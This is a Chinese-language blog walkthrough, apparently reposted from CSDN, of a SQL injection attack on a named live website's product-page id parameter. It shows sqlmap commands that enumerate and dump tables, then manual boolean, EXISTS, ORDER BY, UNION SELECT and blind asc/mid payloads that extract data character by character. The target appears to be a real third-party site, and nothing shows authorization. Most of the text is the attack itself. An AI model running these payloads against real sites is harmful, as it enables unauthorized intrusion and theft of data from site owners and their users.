记 一次 Access 数据库 SQL 注入 实战

目标站点:http://www.jnqtly.cn
使用工具:OWASP Mantra、Sqlmap

使用工具 (sqlmap) 进行 SQL 注入攻击

1. 检测是否存在漏洞

使用 Kali 中的 Sqlmap 进行注入检测:
输入 sqlmap -u "http://www.jnqtly.cn/cp11.asp?id=1129"
在这里插入图片描述
此处表达的是 id 参数存在一个 布尔型盲注。故用 Sqlmap 也可以判断出该站点存在着 SQL 注入漏洞。

2. 爆破表名(因为 Access 数据库不存在数据库,故不需要先爆破库名)

输入:sqlmap -u "http://www.jnqtly.cn/cp11.asp?id=1129" --tables
在这里插入图片描述
通过加载字典爆破出了表名 file

3. 爆破列名

输入:sqlmap -u "http://www.jnqtly.cn/cp11.asp?id=1129" -T file --columns,通过参数 -T 指定刚刚爆破出来的表名,通过参数 --columns 爆破该表中的列名。
在这里插入图片描述
爆破出在 file 表下存在列名为:data、id 和 name 的三列数据。

4. 爆破数据

输入:sqlmap -u "http://www.jnqtly.cn/cp11.asp?id=1129" -T file --dump 来爆破 file 表下的全部数据,也可以通过参数 -C 来指定要爆破哪一列的数据。
在这里插入图片描述
可以看到,已经爆破出了 4 行的数据。但是这个数据看起来好像没什么用,应该是这个站已经被玩坏了,不过拿来练手也是阔以的。


通过手工的方式

1. 判断是否存在注入

① 在输入框中输入 AND 1 = 1,页面返回正常:
在这里插入图片描述

② 输入 AND 1 = 2 ,页面返回错误:
在这里插入图片描述

由此可以判断,在 id 参数中的语句被带入了后台的查询语句进行执行,故可以确定存在一个 SQL 注入漏洞。

2. 猜解表名

可以通过 AND EXISTS (SELECT * FROM 猜测的表名) 来判断是否存在该表。若存在则页面会返回正常,若不存在页面则返回不正常。

① 输入:http://www.jnqtly.cn/cp11.asp?id=1129 AND EXISTS (SELECT * FROM admin),页面返回不正常,说明不存在表名为 admin 的表。
在这里插入图片描述

② 输入:http://www.jnqtly.cn/cp11.asp?id=1129 AND EXISTS (SELECT * FROM file),页面返回正常,说明存在表名为 file 的表。
在这里插入图片描述
其实 Sqlmap 也是通过这种形式的 SQL 语句来判断该表是否存在的,故一般不会纯手工的进行 SQL 注入,而是会用工具辅助我们进行渗透。

3. 猜解列名

可以通过 AND EXISTS (SELECT 猜测的列名 FROM 已经猜出的表名) 这种形式的语句来判断在某表下是否存在某列。

扫描二维码关注公众号,回复: 5643001 查看本文章

输入 http://www.jnqtly.cn/cp11.asp?id=1129 AND EXISTS (SELECT id FROM file),页面返回正常,说明在 file 表下存在 id 列。
在这里插入图片描述

输入 http://www.jnqtly.cn/cp11.asp?id=1129 AND EXISTS (SELECT admin FROM file),页面返回不正常,说明在 file 表下不存在列名为 admin 的列。
在这里插入图片描述

4. 在获取数据之前需要先猜测列数

可以使用 order by 来猜测列数。

① 输入 http://www.jnqtly.cn/cp11.asp?id=1129 order by 10,页面返回不正常,说明在这个查询中存在的列数大于 10。
在这里插入图片描述

② 输入 http://www.jnqtly.cn/cp11.asp?id=1129 order by 9,同样错误,说明列数小于 9。

③输入 http://www.jnqtly.cn/cp11.asp?id=1129 order by 8,页面返回正常,说明列数为 8 。
在这里插入图片描述

5. 判断有哪些列是字符串型,即可以在页面上显示出来,供我们稍后查看爆出的数据

注意:在 Access 数据库中,查询是一定需要有表名的,否则会报错,如下图所示:
在这里插入图片描述

故我们可以带上之前爆出的表名 file 来辅助我们:
输入:http://www.jnqtly.cn/cp11.asp?id=1129 UNION SELECT 1,2,3,4,5,6,7,8 from file
在这里插入图片描述
可以看到,第 6 、7、8 列是可以显示的,所以稍后可以在这些列的位置插入我们需要查询的语句,那么结果就会在相应的位置显示出来。

6. 爆破数据方法一

这里主要演示爆破 id 列的数据。
① 输入语句:http://www.jnqtly.cn/cp11.asp?id=1129 UNION SELECT 1,2,3,4,5,id,7,8 from file,爆出 id 的第一个数据 1125。
在这里插入图片描述

② 查询除 1125 以外的 id 数据:
输入语句:http://www.jnqtly.cn/cp11.asp?id=1129 UNION SELECT 1,2,3,4,5,id,7,8 from file where id <> 1125,爆出了 id 的第二条数据 1126。
在这里插入图片描述

通过此方法,可以爆出所有数据,不再演示。

7. 爆破数据方法二 (盲注)

① 先判断 id 列的第一行数据的长度
输入:http://www.jnqtly.cn/cp11.asp?id=1129 AND (SELECT top 1 len(id) FROM file) > 3,返回正常,说明 id 列的第一行数据的长度是大于 3 的。
在这里插入图片描述

接着输入:http://www.jnqtly.cn/cp11.asp?id=1129 AND (SELECT top 1 len(id) FROM file) > 4,页面返回错误,说明该条数据的长度大于 3 而不大于 4,那么只有可能是 4。由此猜解除了 id 列的第一行数据的长度为 4。
在这里插入图片描述

② 猜解数据
通过函数 asc() 和 mid() 结合使用来猜解数据。asc() 函数的作用是将字符转换为 ASCII 码;mid()函数的作用是截取字符,如 mid(id, 1, 1) 就是从 id 列数据的第 1 个字符截取,且只截取 1 个字符,mid(id, 2, 1) 就是从 id 列数据的第 2 个字符截取,且只截取 1 个字符。

  1. 输入数据:http://www.jnqtly.cn/cp11.asp?id=1129 AND (SELECT top 1 asc(mid(id, 1, 1)) FROM file) > 40,页面返回正常,说明 id 列的第一行数据的第一个字符的 ASCII 码大于 40。
    在这里插入图片描述

  2. 输入:http://www.jnqtly.cn/cp11.asp?id=1129 AND (SELECT top 1 asc(mid(id, 1, 1)) FROM file) > 48,返回正常,说明 id 列的第一行数据的第一个字符的 ASCII 码大于 48。在这里插入图片描述

  3. 输入:http://www.jnqtly.cn/cp11.asp?id=1129 AND (SELECT top 1 asc(mid(id, 1, 1)) FROM file) > 49,返回不正常,说明 id 列的第一行的第一个字符的 ASCII 码大于 48 却不大于 49,故只能为 49,通过查表可得,ASCII 码为 49 的字符为 1。
    在这里插入图片描述

  4. 接着猜解第二个字符。
    输入:http://www.jnqtly.cn/cp11.asp?id=1129 AND (SELECT top 1 asc(mid(id, 2, 1)) FROM file) > 48,返回正常;
    输入:http://www.jnqtly.cn/cp11.asp?id=1129 AND (SELECT top 1 asc(mid(id, 2, 1)) FROM file) > 49 返回不正常

    故第二个字符也为 1。

以此类推,就可以猜解出全部数据。

猜你喜欢

转载自blog.csdn.net/weixin_43915762/article/details/88776654